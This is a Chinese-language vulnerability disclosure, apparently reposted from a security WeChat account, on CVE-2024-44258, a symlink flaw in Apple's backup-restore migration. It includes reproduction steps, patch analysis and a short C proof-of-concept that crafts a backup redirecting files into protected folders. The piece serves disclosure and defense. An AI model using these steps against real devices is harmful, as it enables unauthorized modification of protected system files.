概括
CVE-2024-44258重点指出了 Apple 设备中的ManagedConfiguration 框架和配置守护程序中的符号链接漏洞。在恢复精心设计的备份时,迁移过程无法验证目标文件夹是否为符号链接 (symlink),从而导致未经授权的文件迁移到受限区域。
CVE 编号
已将此问题分配给CVE-2024-44258。CVE是公开披露的安全漏洞的唯一标识符。
-
影响:恢复恶意制作的备份文件可能会导致受保护的系统文件被修改。
-
描述:已通过改进受影响组件中的符号链接处理解决这个问题。
更多信息请参考Apple官方支持页面:
-
support.apple.com/en-us/121569
-
support.apple.com/en-us/121566
-
support.apple.com/en-us/121563
细节
受影响的组件:
-
ManagedConfiguration 框架
-
概要守护进程
影响:
该漏洞允许攻击者在备份恢复期间利用符号链接绕过文件夹限制,将文件写入沙盒或受保护区域。此漏洞可能允许未经授权的数据访问、特权升级或利用依赖于修改的配置的其他服务。
重现步骤
1.创建精心设计的备份
-
使用域创建从:到沙盒文件夹的符号链接
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/:
SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
2.添加所需文件
-
将文件和文件夹插入:
/private/var/mobile/Library/ConfigurationProfiles
使用HomeDomain。
3.恢复精心制作的备份
-
将备份恢复到任何 iPhone、iPod 或 iPad 设备。
4.重启设备
-
重启后,检查限制区域的内容。您将发现文件/文件夹已迁移到先前受保护的位置。
预期结果与实际结果
-
预期:
/private/var/mobile/Library/ConfigurationProfiles应迁移至:/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library
-
实际:
由于精心设计的符号链接,文件被迁移到可能包含敏感或受保护数据的受限文件夹中。
漏洞状态
此漏洞已被广泛观察数月,表明其正被积极利用。
补丁说明
在iOS 18.1 beta5中,苹果引入了一个补丁来解决ManagedConfiguration 框架中的符号链接漏洞。添加了该功能_MCDestinationPathIsSafeFromSymlinkAttacks以对目标路径执行安全检查,防止未经授权的文件迁移到限制区域。此检查是专门添加到该功能中的MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:。
受影响的功能:-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]该漏洞修复是通过修改负责处理ManagedConfiguration 框架内文件迁移的函数来实现的。补丁的工作原理如下:
-
添加符号链接检查Apple在 开头添加了一个调用。此函数现在会验证目标路径是否没有符号链接,从而在执行任何迁移操作之前添加一层保护。_MCDestinationPathIsSafeFromSymlinkAttacksMCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:
-
条件检查如果_MCDestinationPathIsSafeFromSymlinkAttacks在目标路径中检测到符号链接,则会阻止迁移继续进行。该函数使用记录错误消息OS_LOG_TYPE_FAULT并提前退出,从而停止文件操作。
代码比较
使用IDA中的Diaphora对iOS 18.1 beta4和iOS 18.1 beta5进行差异比较,发现函数中发生了变化。下图显示了添加了符号链接检查的修改后的代码。-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]
PoC(概念验证)
下面是一个示例代码片段,演示了如何制作利用该漏洞的备份。此代码概述了如何将符号链接和文件添加到备份中,模拟了该过程,而无需提供实际制作的备份文件。
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
披露时间表
-
向 Apple 提交的初步报告:[2024 年 6 月 7 日]
-
指定 CVE:CVE-2024-44258
-
公开披露:[2024/11/02]
致谢
特别感谢 Apple 安全团队的快速响应和合作。
Hichem Maloufi 和 Christian Mina 发现的漏洞
原文始发于微信公众号(Ots安全):CVE-2024-44258:ManagedConfiguration Framework 中的符号链接漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论